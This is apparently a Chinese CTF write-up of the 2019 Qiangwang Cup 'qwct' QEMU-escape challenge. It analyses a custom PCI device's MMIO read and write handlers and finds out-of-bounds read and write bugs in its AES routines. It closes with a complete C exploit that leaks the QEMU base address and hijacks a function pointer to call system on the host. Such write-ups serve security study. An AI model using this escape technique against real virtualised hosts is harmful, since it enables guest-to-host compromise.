2019 强网杯 pwn qwct

本文详细解析了一个存在于Linux环境中的越界读写漏洞,包括如何利用该漏洞进行程序基地址泄露,并最终实现对目标函数的劫持。

摘要生成于 C知道 ,由 DeepSeek-R1 满血版支持, 前往体验 >

在这里插入图片描述

保护绿

环境我也不知道他当时给的多少的
我反正用的20.04

在这里插入图片描述缺点库

sudo apt-get update     #更新一下索引包
sudo apt-get install libgfapi0

然后剩下几个手动下载
具体流程可以参考一下
史上最硬核的Linux依赖问题
大概就是找到网站,手动下载安装包,然后dkpg安装

启动脚本

#!/bin/bash
./qemu-system-x86_64 -initrd ./rootfs.cpio -nographic -kernel ./vmlinuz-5.0.5-generic -L pc-bios/  -append "priority=low console=ttyS0" -device qwb -monitor /dev/null

设备叫qwb

在这里插入图片描述
函数并不多

qwb_class_init函数拿到id
在这里插入图片描述
realize看到注册了mmio,大小0x100000
在这里插入图片描述

在这里插入图片描述整个设备的结构体

mmio_write还是比较简单的
在这里插入图片描述

mmio_read
函数比较麻烦

考虑了一下还是放图分析吧
主要是用addr来进行功能的选择

addr 0
在这里插入图片描述

addr 1
在这里插入图片描述

addr 2
在这里插入图片描述

addr 3
在这里插入图片描述

addr 4
在这里插入图片描述

addr 5
在这里插入图片描述

addr 6
在这里插入图片描述

addr 7
在这里插入图片描述

addr 8
在这里插入图片描述

addr 9
在这里插入图片描述

addr 10
在这里插入图片描述

其他
在这里插入图片描述首先重点放在读上
我们发现
这里read在数组都填满的时候可以越界把后面的内容都带出来
做到越界读。

然后我们把目光看向上面那一堆乱七八糟加密里面

首先我们总结一下加密
就addr为5 6 7 8 的时候对应分别给两个指针赋值
9 10 的时候要创建线程
再次分开分析

aes_encrypt_function
在这里插入图片描述
我们发现最后会把校验值贴到output后面
其中v7是我们output的长度
所以这里其实是能造成越界写的。

aes_decrypto_function
在这里插入图片描述
同样也有越界写的问题

然后
在这里插入图片描述
这个就比较敷衍了
居然其实是一个函数

在这里插入图片描述
似乎就是一个异或
好像用处不大

然后看创建线程
在这里插入图片描述在这里插入图片描述一眼就看出来
就是分别调用crypto.decrypt crypto.encrypt两处的函数

所以我们这道题就分析完了
利用方式也应该比较明显了

通过任意读泄露程序基地址
得到system的plt表
劫持output下面那个函数
在这里插入图片描述
啊就是encrypt
在input里面写点参数
执行一下就好了

#include <assert.h>
#include <fcntl.h>
#include <inttypes.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/mman.h>
#include <sys/types.h>
#include <unistd.h>
#include <sys/io.h>


uint32_t mmio_addr = 0xfea00000;
uint32_t mmio_size = 0x100000;
unsigned char* mmio_mem;

void die(const char* msg) {
    perror(msg);
    exit(-1);
}

void* mem_map( const char* dev, size_t offset, size_t size ) {
    int fd = open( dev, O_RDWR | O_SYNC );
    if ( fd == -1 ) {
        return 0;
    }

    void* result = mmap( NULL, size, PROT_READ | PROT_WRITE, MAP_SHARED, fd, offset );

    if ( !result ) {
        return 0;
    }

    close( fd );
    return result;
}

void mmio_write(uint32_t addr, uint8_t value) {
    *((uint8_t*)(mmio_mem + addr)) = value;
}

uint8_t mmio_read(uint32_t addr) {
    return *((uint8_t*)(mmio_mem + addr));
}

void set_key(uint32_t offset, char c) {
    mmio_write(0x1000+offset,c);
}

void set_input(uint32_t offset, char c) {
    mmio_write(0x2000+offset,c);
}

void init() {
    mmio_read(0);
}

void set1() {
    mmio_read(2);
}

void set2() {
    mmio_read(4);
}

void set3() {
    mmio_read(1);
}

void set4() {
    mmio_read(3);
}

void a_enc() {
    mmio_read(5);
}

void a_dec() {
    mmio_read(6);
}

void s_enc() {
    mmio_read(7);
}

void s_dec() {
    mmio_read(8);
}

void call_enc() {
    mmio_read(9);
}

void call_dec() {
    mmio_read(10);
}

uint8_t output(uint32_t offset) {
    uint8_t result;
    result = mmio_read(0x3000 + offset);
    return result;
}

uint64_t leak_qword() {
    uint64_t leak = 0, tmp;
    uint32_t i;

    for (i = 0; i < 6; i ++) {
        tmp = output(0x800 + i);
        tmp = tmp << (i * 8);
        leak = leak + tmp;
    }
    return leak;
}

int main(int argc, char *argv[])
{
    //将mmio给mmap出来
    system( "mknod -m 660 /dev/mem c 1 1" );
    mmio_mem = mem_map( "/dev/mem", mmio_addr, mmio_size );
    if ( !mmio_mem ) {
        die("mmap mmio failed");
    }
    printf("mmio_mem @ %p\n", mmio_mem);

	  //将input,key填满,做两次异或,泄露函数地址
    init();
    set1();
    int i;
    for (i=0; i<=0x7ff; i++) {
        set_input(i,'a');
    }
    set2();
    set3();
    for (i=0; i<=0x7ff; i++) {
        set_key(i, 'b');
    }
    set4();
    s_enc();
    s_dec();
    call_enc();
    sleep(1);
    //getchar();
    uint64_t leak_pro_addr = leak_qword();
    uint64_t pro_base =  leak_pro_addr - 0x4D2A20;
    uint64_t system_addr = pro_base + 0x2ADF80;
    printf("leaking_addr: 0x%lx\n", leak_pro_addr);
    printf("system_plt_addr: 0x%lx\n", system_addr);
    
    //先把system拿进去计算一次,拿到aes加密后的结果
    init();
    set1();
    for (i=0; i<=0x7ff-8; i++) {
        set_input(i,'a');
    }
    for (i=0; i<8; i++) {
        set_input(0x7f8+i,((uint8_t*)&system_addr)[i]^'a');
    }
    set2();
    set3();
    for (i=0; i<0x10; i++) {
        set_key(i, '\x01');
    }
    set4();
    a_enc();
    call_enc();
    sleep(1);
    uint8_t enc_data[2048];
    for(i=0; i<2048; i++) {
        enc_data[i] = output(i);
    }

    //再丢进去解密,达到越界写控制劫持指针为system的效果
    init();
    set1();
    for (i=0; i<0x800; i++){
        set_input(i, enc_data[i]);
    }
    set2();
    set3();
    for (i=0; i<0x10; i++) {
        set_key(i, '\x01');
    }
    set4();
    a_dec();
    call_dec();
    sleep(1);

	  //最后写上字符串
    init();
    set1();
    //char *payload = "cat /root/flag";
    char *payload = "gnome-terminal";
    for (i=0; i< strlen(payload); i++){
        set_input(i, payload[i]);
    }

    //触发漏洞
    set2();
    set3();
    set4();
    call_enc();
    sleep(1);

    return;
}

在这里插入图片描述

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值